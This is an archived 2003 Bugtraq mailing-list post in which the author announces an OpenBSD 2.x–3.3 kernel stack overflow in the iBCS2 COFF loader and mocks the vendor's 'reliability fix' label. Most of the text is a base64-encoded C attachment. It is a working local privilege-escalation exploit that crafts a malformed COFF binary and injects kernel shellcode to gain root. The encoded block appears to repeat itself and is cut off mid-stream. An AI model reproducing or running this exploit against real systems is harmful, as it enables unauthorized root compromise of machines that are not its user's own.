The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


OpenBSD kernel holes ...


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 18 Nov 2003 13:54:39 -0500 (EST)
From: noir@uberhax0r.net
To: bugtraq@securityfocus.com
Subject: OpenBSD kernel holes ...

---559023410-851401618-1069180443=:685
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.GSO.4.44.0311181334412.824@sodom.uberhax0r.net.>


once again i am honored to present you a generic and robust way to own
OpenBSD 2.x-3.x, enjoy ;)

it is quite funny to name ring 0 overflow patches as "reliability fixes".
who does theo thinks he is fooling ? kiddies in his cult ?

you can patch your useless/old openbsd systems by visiting;
http://www.gentoo.org
http://www.grsecurity.net

- noir



from http://www.wideopenbsd.org/errata.html

All architectures

     005: RELIABILITY FIX: November 4, 2003
     It is possible for a local user to cause a system panic by executing
     a specially crafted binary with an invalid header.
     A source code patch exists which remedies the problem.


reliability ??? ehh ;-P yeah yeah right!




---559023410-851401618-1069180443=:685
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="coff_ex.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.4.44.0311181307291.685@sodom.uberhax0r.net.>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="coff_ex.c"

LyoqIE9wZW5CU0QgMi54IC0gMy4zCQkJCQkJICoqLw0KLyoqIGV4ZWNfaWJj
czJfY29mZl9wcmVwX3ptYWdpYygpIGtlcm5lbCBzdGFjayBvdmVyZmxvdwkJ
ICoqLyANCi8qKiBub3RlOiBpYmNzMiBiaW5hcnkgY29tcGF0aWJpbGl0eSB3
aXRoIFNDTyBhbmQgSVNDIGlzIGVuYWJsZWQgKiovDQovKiogaW4gdGhlIGRl
ZmF1bHQgaW5zdGFsbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICoqLw0KDQovKiogCUNvcHlyaWdodCBGZWIgMjYgMjAwMyBTaW5h
biAibm9pciIgRXJlbiAJCSAqKi8gDQovKioJbm9pckBvbHltcG9zLm9yZyB8
IG5vaXJAdWJlcmhheDByLm5ldAkJCSAqKi8NCg0KLyoqCWdyZWV0cyB0byBi
cm90aGVyIG5haHVhbCBmb3IgbWFraW5nIHRoaXMgdXNlZnVsbCEJICoqLyAN
Cg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+
DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNp
bmNsdWRlIDxzeXMvcGFyYW0uaD4NCiNpbmNsdWRlIDxzeXMvc3lzY3RsLmg+
DQojaW5jbHVkZSA8c3lzL3NpZ25hbC5oPg0KDQovLyNpbmNsdWRlICJpYmNz
Ml9leGVjLmgiDQoNCi8qIGtlcm5lbF9zYy5zIHNoZWxsY29kZSAqLw0KLyog
bXVjaCBpbXByb3ZlZCB0aGUgb3Bjb2RlIHNlYXJjaCwgZml4ZWQgdGhlIHN0
dXBpZCBsb2dpYyBidWchICovDQoNCnVuc2lnbmVkIGNoYXIgc2hlbGxjb2Rl
W10gPQ0KIlx4ZThceDBmXHgwMFx4MDBceDAwXHg3OFx4NTZceDM0XHgxMlx4
ZmVceGNhXHhhZFx4ZGVceGFkXHhkZVx4ZWZceGJlIg0KIlx4OTBceDkwXHg5
MFx4NWZceDhiXHgwZlx4OGJceDU5XHgxMFx4MzFceGMwXHg4OVx4NDNceDA0
XHg4Ylx4MTNceDg5Ig0KIlx4NDJceDA0XHg4Ylx4NTFceDE0XHg4OVx4NDJc
eDBjXHg4ZFx4NmNceDI0XHg2OFx4MGZceDAxXHg0Zlx4MDRceDhiIg0KIlx4
NWZceDA2XHg4Ylx4OTNceDAwXHgwNFx4MDBceDAwXHg4Ylx4OGJceDA0XHgw
NFx4MDBceDAwXHhjMVx4ZTlceDEwIg0KIlx4YzFceGUxXHgxMFx4YzFceGUy
XHgxMFx4YzFceGVhXHgxMFx4MDlceGNhXHgzMVx4YzlceDQxXHg4YVx4MWNc
eDBhIg0KIlx4ODBceGZiXHhlOFx4NzVceGY3XHg4ZFx4MWNceDBhXHg0MVx4
OGJceDBjXHgwYVx4ODNceGMxXHgwNVx4MDFceGQ5Ig0KIlx4ODlceGNmXHhi
MFx4ZmZceGZjXHhiOVx4ZmZceGZmXHhmZlx4ZmZceGYyXHhhZVx4OGFceDFm
XHg4MFx4ZmJceGQwIg0KIlx4NzVceGVmXHg0N1x4MzFceGMwXHg1N1x4YzMi
Ow0KDQovKiBkbyBub3QgdXNlISAqLw0KLyogDQpzaWx2aW8gZ290dGEgZ2V0
IGhpcyBicmFpbiB0b2dldGhlciBhbmQgdW5kZXJzdGFuZCB3aHkgc29tZXRp
bWVzDQp5b3UgbmVlZCB0byByZXR1cm4gdG8ga2VybmVsIGNvZGUgcmF0aGVy
IHRoYW4gc2V0dGluZyB0aGUgc2VsZWN0b3JzDQpwdXNoaW5nIHNzLGVzcCxl
ZmxhZyxjcyxlaXAgYW5kIGRvIGFuIGlyZXQhIA0KDQp3ZWxsLCBhbG9oYT8/
IHZub2RlIGxvY2tzIGJlaW5nIGhlbGQgPyBtdXRleCBsb2NrcyBiZWluZyBo
ZWxkID8gDQp5b3UgaGF2ZSB0byByZXR1cm4gdG8gdGhlIGtlcm5lbCBjb2Rl
IHRoYXQgdW5sb2NrcyB0aGUgc3luY3Jvbml6YXRpb24NCm9iamVjdHMNCg0K
Ki8NCg0KdW5zaWduZWQgY2hhciBpcmV0X3NoZWxsY29kZVtdID0NCiJceGU4
XHgwZlx4MDBceDAwXHgwMFx4NzhceDU2XHgzNFx4MTJceGZlXHhjYVx4YWRc
eGRlXHhhZFx4ZGVceGVmXHhiZSINCiJceDkwXHg5MFx4OTBceDVmXHg4Ylx4
MGZceDhiXHg1OVx4MTBceDMxXHhjMFx4ODlceDQzXHgwNFx4OGJceDEzXHg4
OSINCiJceDQyXHgwNFx4OGJceDUxXHgxNFx4ODlceDQyXHgwY1x4ZmFceDZh
XHgxZlx4MDdceDZhXHgxZlx4MWZceDZhXHgwMCINCiJceDVmXHg2YVx4MDBc
eDVlXHg2OFx4MDBceGQwXHhiZlx4ZGZceDVkXHg2YVx4MDBceDViXHg2YVx4
MDBceDVhXHg2YSINCiJceDAwXHg1OVx4NmFceDAwXHg1OFx4NmFceDFmXHg2
OFx4MDBceGQwXHhiZlx4ZGZceDY4XHg4N1x4MDJceDAwXHgwMCINCiJceDZh
XHgxNyI7DQoNCnVuc2lnbmVkIGNoYXIgcHVzaGVpcFtdID0NCiJceDY4XHgw
MFx4MDBceDAwXHgwMCI7IC8qIGZpbGwgZWlwICovDQoNCnVuc2lnbmVkIGNo
YXIgaXJldFtdID0NCiJceGNmIjsNCg0KdW5zaWduZWQgY2hhciBleGl0c2hb
XSA9DQoiXHgzMVx4YzBceGNkXHg4MFx4Y2MiOyAvKiB4b3JsICVlYXgsJWVh
eCwgaW50ICQweDgwLCBpbnQzICovDQoNCg0KI2RlZmluZSBaRVJPKHApIG1l
bXNldCgmcCwgMHgwMCwgc2l6ZW9mKHApKQ0KDQovKg0KICogQ09GRiBmaWxl
IGhlYWRlcg0KICovDQoNCnN0cnVjdCBjb2ZmX2ZpbGVoZHIgew0KICAgIHVf
c2hvcnQgICAgIGZfbWFnaWM7ICAgICAgICAvKiBtYWdpYyBudW1iZXIgKi8N
CiAgICB1X3Nob3J0ICAgICBmX25zY25zOyAgICAgICAgLyogIyBvZiBzZWN0
aW9ucyAqLw0KICAgIGxvbmcgICAgICAgIGZfdGltZGF0OyAgICAgICAvKiB0
aW1lc3RhbXAgKi8NCiAgICBsb25nICAgICAgICBmX3N5bXB0cjsgICAgICAg
LyogZmlsZSBvZmZzZXQgb2Ygc3ltYm9sIHRhYmxlICovDQogICAgbG9uZyAg
ICAgICAgZl9uc3ltczsgICAgICAgIC8qICMgb2Ygc3ltYm9sIHRhYmxlIGVu
dHJpZXMgKi8NCiAgICB1X3Nob3J0ICAgICBmX29wdGhkcjsgICAgICAgLyog
c2l6ZSBvZiBvcHRpb25hbCBoZWFkZXIgKi8NCiAgICB1X3Nob3J0ICAgICBm
X2ZsYWdzOyAgICAgICAgLyogZmxhZ3MgKi8NCn07DQoNCi8qIGZfbWFnaWMg
ZmxhZ3MgKi8NCiNkZWZpbmUgQ09GRl9NQUdJQ19JMzg2IDB4MTRjDQoNCi8q
IGZfZmxhZ3MgKi8NCiNkZWZpbmUgQ09GRl9GX1JFTEZMRyAgIDB4MQ0KI2Rl
ZmluZSBDT0ZGX0ZfRVhFQyAgICAgMHgyDQojZGVmaW5lIENPRkZfRl9MTk5P
ICAgICAweDQNCiNkZWZpbmUgQ09GRl9GX0xTWU1TICAgIDB4OA0KI2RlZmlu
ZSBDT0ZGX0ZfU1dBQkQgICAgMHg0MA0KI2RlZmluZSBDT0ZGX0ZfQVIxNldS
ICAgMHg4MA0KI2RlZmluZSBDT0ZGX0ZfQVIzMldSICAgMHgxMDANCg0KLyoN
CiAqIENPRkYgc3lzdGVtIGhlYWRlcg0KICovDQoNCnN0cnVjdCBjb2ZmX2Fv
dXRoZHIgew0KICAgIHNob3J0ICAgICAgIGFfbWFnaWM7DQogICAgc2hvcnQg
ICAgICAgYV92c3RhbXA7DQogICAgbG9uZyAgICAgICAgYV90c2l6ZTsNCiAg
ICBsb25nICAgICAgICBhX2RzaXplOw0KICAgIGxvbmcgICAgICAgIGFfYnNp
emU7DQogICAgbG9uZyAgICAgICAgYV9lbnRyeTsNCiAgICBsb25nICAgICAg
ICBhX3RzdGFydDsNCiAgICBsb25nICAgICAgICBhX2RzdGFydDsNCn07DQoN
Ci8qIG1hZ2ljICovDQojZGVmaW5lIENPRkZfWk1BR0lDICAgICAwNDEzDQoN
Ci8qDQogKiBDT0ZGIHNlY3Rpb24gaGVhZGVyDQogKi8NCg0Kc3RydWN0IGNv
ZmZfc2NuaGRyIHsNCiAgICBjaGFyICAgICAgICBzX25hbWVbOF07DQogICAg
bG9uZyAgICAgICAgc19wYWRkcjsNCiAgICBsb25nICAgICAgICBzX3ZhZGRy
Ow0KICAgIGxvbmcgICAgICAgIHNfc2l6ZTsNCiAgICBsb25nICAgICAgICBz
X3NjbnB0cjsNCiAgICBsb25nICAgICAgICBzX3JlbHB0cjsNCiAgICBsb25n
ICAgICAgICBzX2xubm9wdHI7DQogICAgdV9zaG9ydCAgICAgc19ucmVsb2M7
DQogICAgdV9zaG9ydCAgICAgc19ubG5ubzsNCiAgICBsb25nICAgICAgICBz
X2ZsYWdzOw0KfTsNCg0KLyogc19mbGFncyAqLw0KI2RlZmluZSBDT0ZGX1NU
WVBfVEVYVCAgICAgICAgICAweDIwDQojZGVmaW5lIENPRkZfU1RZUF9EQVRB
ICAgICAgICAgIDB4NDANCiNkZWZpbmUgQ09GRl9TVFlQX1NITElCICAgICAg
ICAgMHg4MDANCg0KDQp2b2lkIGdldF9wcm9jKHBpZF90LCBzdHJ1Y3Qga2lu
Zm9fcHJvYyAqKTsNCnZvaWQgc2lnX2hhbmRsZXIoKTsNCg0KaW50DQptYWlu
KGludCBhcmdjLCBjaGFyICoqYXJndikNCnsNCiAgdV9pbnQgaSwgZmQsIGRl
YnVnID0gMDsNCiAgdV9jaGFyICpwdHIsICpzaHB0cjsNCiAgdV9sb25nICps
cHRyOw0KICB1X2xvbmcgcHByb2NhZHIsIG9mZnNldDsNCiAgc3RydWN0IGtp
bmZvX3Byb2Mga3A7DQogIGNoYXIgKmFyZ3NbXSA9IHsgIi4vaWJjczJvd24i
LCBOVUxMfTsNCiAgY2hhciAqZW52c1tdID0geyAiUklQPXRoZW8iLCBOVUxM
fTsNCiAgLy9DT0ZGIHN0cnVjdHVyZXMNCiAgc3RydWN0IGNvZmZfZmlsZWhk
ciBmaGRyOw0KICBzdHJ1Y3QgY29mZl9hb3V0aGRyIGFoZHI7DQogIHN0cnVj
dCBjb2ZmX3NjbmhkciAgc2NuMCwgc2NuMSwgc2NuMjsNCg0KICAgaWYoYXJn
dlsxXSkgew0KICAgICAgaWYoIXN0cm5jbXAoYXJndlsxXSwgIi12IiwgMikp
IA0KICAgICAgICAgICAgICBkZWJ1ZyA9IDE7DQogICAgICBlbHNlIHsgDQoJ
ICAgICAgcHJpbnRmKCItdjogdmVyYm9zZSBmbGFnIG9ubHlcbiIpOw0KCSAg
ICAgIGV4aXQoMCk7DQogICAgICAgICAgICB9DQogICAgfQ0KIA0KICAgIFpF
Uk8oZmhkcik7DQogICAgZmhkci5mX21hZ2ljID0gQ09GRl9NQUdJQ19JMzg2
Ow0KICAgIGZoZHIuZl9uc2NucyA9IDM7IC8vVEVYVCwgREFUQSwgU0hMSUIN
CiAgICBmaGRyLmZfdGltZGF0ID0gMHhkZWFkYmVlZjsNCiAgICBmaGRyLmZf
c3ltcHRyID0gMHg0MDAwOw0KICAgIGZoZHIuZl9uc3ltcyA9IDE7DQogICAg
Zmhkci5mX29wdGhkciA9IHNpemVvZihhaGRyKTsgLy9BT1VUIG9wdCBoZWFk
ZXIgc2l6ZQ0KICAgIGZoZHIuZl9mbGFncyA9IENPRkZfRl9FWEVDOw0KDQog
ICAgWkVSTyhhaGRyKTsNCiAgICBhaGRyLmFfbWFnaWMgPSBDT0ZGX1pNQUdJ
QzsNCiAgICBhaGRyLmFfdHNpemUgPSAwOw0KICAgIGFoZHIuYV9kc2l6ZSA9
IDA7IA0KICAgIGFoZHIuYV9ic2l6ZSA9IDA7DQogICAgYWhkci5hX2VudHJ5
ID0gMHgxMDAwMDsNCiAgICBhaGRyLmFfdHN0YXJ0ID0gMDsNCiAgICBhaGRy
LmFfZHN0YXJ0ID0gMDsNCiAgIA0KICAgIFpFUk8oc2NuMCk7DQogICAgbWVt
Y3B5KCZzY24wLnNfbmFtZSwgIi50ZXh0IiwgNSk7DQogICAgc2NuMC5zX3Bh
ZGRyID0gMHgxMDAwMDsNCiAgICBzY24wLnNfdmFkZHIgPSAweDEwMDAwOw0K
ICAgIHNjbjAuc19zaXplID0gNDA5NjsNCiAgICBzY24wLnNfc2NucHRyID0g
c2l6ZW9mKGZoZHIpICsgc2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSoz
KTsgDQogICAgLy9maWxlIG9mZnNldCBvZiAudGV4dCBzZWdtZW50DQogICAg
c2NuMC5zX3JlbHB0ciA9IDA7DQogICAgc2NuMC5zX2xubm9wdHIgPSAwOw0K
ICAgIHNjbjAuc19ucmVsb2MgPSAwOw0KICAgIHNjbjAuc19ubG5ubyA9IDA7
DQogICAgc2NuMC5zX2ZsYWdzID0gQ09GRl9TVFlQX1RFWFQ7DQoNCiAgICBa
RVJPKHNjbjEpOw0KICAgIG1lbWNweSgmc2NuMS5zX25hbWUsICIuZGF0YSIs
IDUpOw0KICAgIHNjbjEuc19wYWRkciA9IDB4MTAwMDAgLSA0MDk2Ow0KICAg
IHNjbjEuc192YWRkciA9IDB4MTAwMDAgLSA0MDk2Ow0KICAgIHNjbjEuc19z
aXplID0gNDA5NjsNCiAgICBzY24xLnNfc2NucHRyID0gc2l6ZW9mKGZoZHIp
ICsgc2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSozKSArIDQwOTY7IA0K
ICAgIC8vZmlsZSBvZmZzZXQgb2YgLmRhdGEgc2VnbWVudA0KICAgIHNjbjEu
c19yZWxwdHIgPSAwOw0KICAgIHNjbjEuc19sbm5vcHRyID0gMDsNCiAgICBz
Y24xLnNfbnJlbG9jID0gMDsNCiAgICBzY24xLnNfbmxubm8gPSAwOw0KICAg
IHNjbjEuc19mbGFncyA9IENPRkZfU1RZUF9EQVRBOw0KDQogICAgWkVSTyhz
Y24yKTsNCiAgICBtZW1jcHkoJnNjbjIuc19uYW1lLCAiLnNobGliIiwgNik7
DQogICAgc2NuMi5zX3BhZGRyID0gMDsNCiAgICBzY24yLnNfdmFkZHIgPSAw
Ow0KICAgIHNjbjIuc19zaXplID0gMHhiMDsgLy9IRVJFIElTIERBIE9WRiEh
ISBzdGF0aWNfYnVmZmVyID0gMTI4DQogICAgc2NuMi5zX3NjbnB0ciA9IHNp
emVvZihmaGRyKSArIHNpemVvZihhaGRyKSArIChzaXplb2Yoc2NuMCkqMykg
KyAyKjQwOTY7IA0KICAgIC8vZmlsZSBvZmZzZXQgb2YgLmRhdGEgc2VnbWVu
dA0KICAgIHNjbjIuc19yZWxwdHIgPSAwOw0KICAgIHNjbjIuc19sbm5vcHRy
ID0gMDsNCiAgICBzY24yLnNfbnJlbG9jID0gMDsNCiAgICBzY24yLnNfbmxu
bm8gPSAwOw0KICAgIHNjbjIuc19mbGFncyA9IENPRkZfU1RZUF9TSExJQjsN
Cg0KICAgIG9mZnNldCA9IHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSAr
IChzaXplb2Yoc2NuMCkqMykgKyAzKjQwOTY7DQogICAgcHRyID0gKGNoYXIg
KikgbWFsbG9jKG9mZnNldCk7DQogICAgaWYoIXB0cikgeyANCgkJcGVycm9y
KCJtYWxsb2MiKTsNCgkJZXhpdCgtMSk7DQogICAgfQ0KDQogICAgbWVtc2V0
KHB0ciwgMHhjYywgb2Zmc2V0KTsgIC8qIGZpbGwgaW50MyAqLw0KDQogICAg
LyogY29weSBzZWN0aW9ucyAqLw0KICAgIG9mZnNldCA9IDA7DQogICAgbWVt
Y3B5KHB0ciwgKGNoYXIgKikgJmZoZHIsIHNpemVvZihmaGRyKSk7DQogICAg
b2Zmc2V0ICs9IHNpemVvZihmaGRyKTsNCg0KICAgIG1lbWNweShwdHIrb2Zm
c2V0LCAoY2hhciAqKSAmYWhkciwgc2l6ZW9mKGFoZHIpKTsgDQogICAgb2Zm
c2V0ICs9IHNpemVvZihhaGRyKTsNCgkNCiAgICBtZW1jcHkocHRyK29mZnNl
dCwgKGNoYXIgKikgJnNjbjAsIHNpemVvZihzY24wKSk7DQogICAgb2Zmc2V0
ICs9IHNpemVvZihzY24wKTsNCg0KICAgIG1lbWNweShwdHIrb2Zmc2V0LCAm
c2NuMSwgc2l6ZW9mKHNjbjEpKTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKHNj
bjEpOw0KDQogICAgbWVtY3B5KHB0citvZmZzZXQsIChjaGFyICopICZzY24y
LCBzaXplb2Yoc2NuMikpOw0KICAgIG9mZnNldCArPSBzaXplb2Yoc2NuMik7
DQoNCiAgICBscHRyID0gKHVfbG9uZyAqKSAoKGNoYXIgKilwdHIgKyBzaXpl
b2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyBcDQogICAgICAgICAgIChzaXpl
b2Yoc2NuMCkgKiAzKSArIDQwOTYgKyA0MDk2ICsgMHhiMCAtIDgpOw0KDQog
ICAgc2hwdHIgPSAoY2hhciAqKSBtYWxsb2MoNDA5Nik7DQogICAgaWYoIXNo
cHRyKSB7DQoJCXBlcnJvcigibWFsbG9jIik7DQoJCWV4aXQoLTEpOw0KICAg
IH0NCiAgICBpZihkZWJ1ZykNCiAgICAgIHByaW50ZigicGF5bG9hZCBhZHI6
IDB4JS44eFx0Iiwgc2hwdHIpOw0KDQogICAgbWVtc2V0KHNocHRyLCAweGNj
LCA0MDk2KTsNCg0KICAgIGdldF9wcm9jKChwaWRfdCkgZ2V0cHBpZCgpLCAm
a3ApOw0KICAgIHBwcm9jYWRyID0gKHVfbG9uZykga3Aua3BfZXByb2MuZV9w
YWRkcjsNCiAgICBpZihkZWJ1ZykNCiAgICAgIHByaW50ZigicGFyZW50IHBy
b2MgYWRyOiAweCUuOHhcbiIsIHBwcm9jYWRyKTsgDQoNCiAgICAqbHB0cisr
ID0gMHhkZWFkYmVlZjsNCiAgICAqbHB0ciA9ICh1X2xvbmcpIHNocHRyOw0K
DQogICAgc2hlbGxjb2RlWzVdID0gcHByb2NhZHIgJiAweGZmOw0KICAgIHNo
ZWxsY29kZVs2XSA9IChwcHJvY2FkciA+PiA4KSAmIDB4ZmY7DQogICAgc2hl
bGxjb2RlWzddID0gKHBwcm9jYWRyID4+IDE2KSAmIDB4ZmY7DQogICAgc2hl
bGxjb2RlWzhdID0gKHBwcm9jYWRyID4+IDI0KSAmIDB4ZmY7DQoNCiAgICBt
ZW1jcHkoc2hwdHIsIHNoZWxsY29kZSwgc2l6ZW9mKHNoZWxsY29kZSktMSk7
DQoNCiAgICB1bmxpbmsoIi4vaWJjczJvd24iKTsNCiAgICBpZigoZmQgPSBv
cGVuKCIuL2liY3Myb3duIiwgT19DUkVBVF5PX1JEV1IsIDA3NTUpKSA8IDAp
IHsNCgkJcGVycm9yKCJvcGVuIik7DQoJCWV4aXQoLTEpOw0KCX0NCg0KICAg
IHdyaXRlKGZkLCBwdHIsIHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSAr
IChzaXplb2Yoc2NuMCkgKiAzKSArIDQwOTYgKyA0MDk2ICsgNDA5Nik7DQog
ICAgY2xvc2UoZmQpOw0KICAgIGZyZWUocHRyKTsNCg0KICAgIHNpZ25hbChT
SUdTRUdWLCAodm9pZCAoKikoKSlzaWdfaGFuZGxlcik7DQogICAgc2lnbmFs
KFNJR0lMTCwgKHZvaWQgKCopKCkpc2lnX2hhbmRsZXIpOw0KICAgIHNpZ25h
bChTSUdTWVMsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVyKTsNCiAgICBzaWdu
YWwoU0lHQlVTLCAodm9pZCAoKikoKSlzaWdfaGFuZGxlcik7DQogICAgc2ln
bmFsKFNJR0FCUlQsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVyKTsNCiAgICBz
aWduYWwoU0lHVFJBUCwgKHZvaWQgKCopKCkpc2lnX2hhbmRsZXIpOw0KDQog
ICAgcHJpbnRmKCJcbkRPIE5PVCBGT1JHRVQgVE8gU0hSRUQgLi9pYmNzMm93
blxuIik7DQogICAgZXhlY3ZlKGFyZ3NbMF0sIGFyZ3MsIGVudnMpOw0KICAg
IHBlcnJvcigiZXhlY3ZlIik7DQp9DQoNCnZvaWQNCnNpZ19oYW5kbGVyKCkN
CnsNCiAgIF9leGl0KDApOw0KfQ0KDQp2b2lkDQpnZXRfcHJvYyhwaWRfdCBw
aWQsIHN0cnVjdCBraW5mb19wcm9jICprcCkNCnsNCiAgIHVfaW50IGFycls0
XSwgbGVuOw0KDQogICAgICAgIGFyclswXSA9IENUTF9LRVJOOw0KICAgICAg
ICBhcnJbMV0gPSBLRVJOX1BST0M7DQogICAgICAgIGFyclsyXSA9IEtFUk5f
UFJPQ19QSUQ7DQogICAgICAgIGFyclszXSA9IHBpZDsNCiAgICAgICAgbGVu
ID0gc2l6ZW9mKHN0cnVjdCBraW5mb19wcm9jKTsNCiAgICAgICAgaWYoc3lz
Y3RsKGFyciwgNCwga3AsICZsZW4sIE5VTEwsIDApIDwgMCkgew0KICAgICAg
ICAgICAgICAgIHBlcnJvcigic3lzY3RsIik7DQogICAgICAgICAgICAgICAg
ZnByaW50ZihzdGRlcnIsICJ0aGlzIGlzIGFuIHVuZXhwZWN0ZWQgZXJyb3Is
IHJlcnVuIVxuIik7DQogICAgICAgICAgICAgICAgZXhpdCgtMSk7DQogICAg
ICAgIH0NCg0KfQ0KDQovKiogT3BlbkJTRCAyLnggLSAzLjMJCQkJCQkgKiov
DQovKiogZXhlY19pYmNzMl9jb2ZmX3ByZXBfem1hZ2ljKCkga2VybmVsIHN0
YWNrIG92ZXJmbG93CQkgKiovIA0KLyoqIG5vdGU6IGliY3MyIGJpbmFyeSBj
b21wYXRpYmlsaXR5IHdpdGggU0NPIGFuZCBJU0MgaXMgZW5hYmxlZCAqKi8N
Ci8qKiBpbiB0aGUgZGVmYXVsdCBpbnN0YWxsICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgKiovDQoNCi8qKiAJQ29weXJpZ2h0IEZl
YiAyNiAyMDAzIFNpbmFuICJub2lyIiBFcmVuIAkJICoqLyANCi8qKglub2ly
QG9seW1wb3Mub3JnIHwgbm9pckB1YmVyaGF4MHIubmV0CQkJICoqLw0KDQov
KioJZ3JlZXRzIHRvIGJyb3RoZXIgbmFodWFsIGZvciBtYWtpbmcgdGhpcyB1
c2VmdWxsIQkgKiovIA0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRl
IDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0KI2luY2x1ZGUg
PHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy9wYXJhbS5oPg0KI2luY2x1ZGUg
PHN5cy9zeXNjdGwuaD4NCiNpbmNsdWRlIDxzeXMvc2lnbmFsLmg+DQoNCi8v
I2luY2x1ZGUgImliY3MyX2V4ZWMuaCINCg0KLyoga2VybmVsX3NjLnMgc2hl
bGxjb2RlICovDQovKiBtdWNoIGltcHJvdmVkIHRoZSBvcGNvZGUgc2VhcmNo
LCBmaXhlZCB0aGUgc3R1cGlkIGxvZ2ljIGJ1ZyEgKi8NCg0KdW5zaWduZWQg
Y2hhciBzaGVsbGNvZGVbXSA9DQoiXHhlOFx4MGZceDAwXHgwMFx4MDBceDc4
XHg1Nlx4MzRceDEyXHhmZVx4Y2FceGFkXHhkZVx4YWRceGRlXHhlZlx4YmUi
DQoiXHg5MFx4OTBceDkwXHg1Zlx4OGJceDBmXHg4Ylx4NTlceDEwXHgzMVx4
YzBceDg5XHg0M1x4MDRceDhiXHgxM1x4ODkiDQoiXHg0Mlx4MDRceDhiXHg1
MVx4MTRceDg5XHg0Mlx4MGNceDhkXHg2Y1x4MjRceDY4XHgwZlx4MDFceDRm
XHgwNFx4OGIiDQoiXHg1Zlx4MDZceDhiXHg5M1x4MDBceDA0XHgwMFx4MDBc
eDhiXHg4Ylx4MDRceDA0XHgwMFx4MDBceGMxXHhlOVx4MTAiDQoiXHhjMVx4
ZTFceDEwXHhjMVx4ZTJceDEwXHhjMVx4ZWFceDEwXHgwOVx4Y2FceDMxXHhj
OVx4NDFceDhhXHgxY1x4MGEiDQoiXHg4MFx4ZmJceGU4XHg3NVx4ZjdceDhk
XHgxY1x4MGFceDQxXHg4Ylx4MGNceDBhXHg4M1x4YzFceDA1XHgwMVx4ZDki
DQoiXHg4OVx4Y2ZceGIwXHhmZlx4ZmNceGI5XHhmZlx4ZmZceGZmXHhmZlx4
ZjJceGFlXHg4YVx4MWZceDgwXHhmYlx4ZDAiDQoiXHg3NVx4ZWZceDQ3XHgz
MVx4YzBceDU3XHhjMyI7DQoNCi8qIGRvIG5vdCB1c2UhICovDQovKiANCnNp
bHZpbyBnb3R0YSBnZXQgaGlzIGJyYWluIHRvZ2V0aGVyIGFuZCB1bmRlcnN0
YW5kIHdoeSBzb21ldGltZXMNCnlvdSBuZWVkIHRvIHJldHVybiB0byBrZXJu
ZWwgY29kZSByYXRoZXIgdGhhbiBzZXR0aW5nIHRoZSBzZWxlY3RvcnMNCnB1
c2hpbmcgc3MsZXNwLGVmbGFnLGNzLGVpcCBhbmQgZG8gYW4gaXJldCEgDQoN
CndlbGwsIGFsb2hhPz8gdm5vZGUgbG9ja3MgYmVpbmcgaGVsZCA/IG11dGV4
IGxvY2tzIGJlaW5nIGhlbGQgPyANCnlvdSBoYXZlIHRvIHJldHVybiB0byB0
aGUga2VybmVsIGNvZGUgdGhhdCB1bmxvY2tzIHRoZSBzeW5jcm9uaXphdGlv
bg0Kb2JqZWN0cw0KDQoqLw0KDQp1bnNpZ25lZCBjaGFyIGlyZXRfc2hlbGxj
b2RlW10gPQ0KIlx4ZThceDBmXHgwMFx4MDBceDAwXHg3OFx4NTZceDM0XHgx
Mlx4ZmVceGNhXHhhZFx4ZGVceGFkXHhkZVx4ZWZceGJlIg0KIlx4OTBceDkw
XHg5MFx4NWZceDhiXHgwZlx4OGJceDU5XHgxMFx4MzFceGMwXHg4OVx4NDNc
eDA0XHg4Ylx4MTNceDg5Ig0KIlx4NDJceDA0XHg4Ylx4NTFceDE0XHg4OVx4
NDJceDBjXHhmYVx4NmFceDFmXHgwN1x4NmFceDFmXHgxZlx4NmFceDAwIg0K
Ilx4NWZceDZhXHgwMFx4NWVceDY4XHgwMFx4ZDBceGJmXHhkZlx4NWRceDZh
XHgwMFx4NWJceDZhXHgwMFx4NWFceDZhIg0KIlx4MDBceDU5XHg2YVx4MDBc
eDU4XHg2YVx4MWZceDY4XHgwMFx4ZDBceGJmXHhkZlx4NjhceDg3XHgwMlx4
MDBceDAwIg0KIlx4NmFceDE3IjsNCg0KdW5zaWduZWQgY2hhciBwdXNoZWlw
W10gPQ0KIlx4NjhceDAwXHgwMFx4MDBceDAwIjsgLyogZmlsbCBlaXAgKi8N
Cg0KdW5zaWduZWQgY2hhciBpcmV0W10gPQ0KIlx4Y2YiOw0KDQp1bnNpZ25l
ZCBjaGFyIGV4aXRzaFtdID0NCiJceDMxXHhjMFx4Y2RceDgwXHhjYyI7IC8q
IHhvcmwgJWVheCwlZWF4LCBpbnQgJDB4ODAsIGludDMgKi8NCg0KDQojZGVm
aW5lIFpFUk8ocCkgbWVtc2V0KCZwLCAweDAwLCBzaXplb2YocCkpDQoNCi8q
DQogKiBDT0ZGIGZpbGUgaGVhZGVyDQogKi8NCg0Kc3RydWN0IGNvZmZfZmls
ZWhkciB7DQogICAgdV9zaG9ydCAgICAgZl9tYWdpYzsgICAgICAgIC8qIG1h
Z2ljIG51bWJlciAqLw0KICAgIHVfc2hvcnQgICAgIGZfbnNjbnM7ICAgICAg
ICAvKiAjIG9mIHNlY3Rpb25zICovDQogICAgbG9uZyAgICAgICAgZl90aW1k
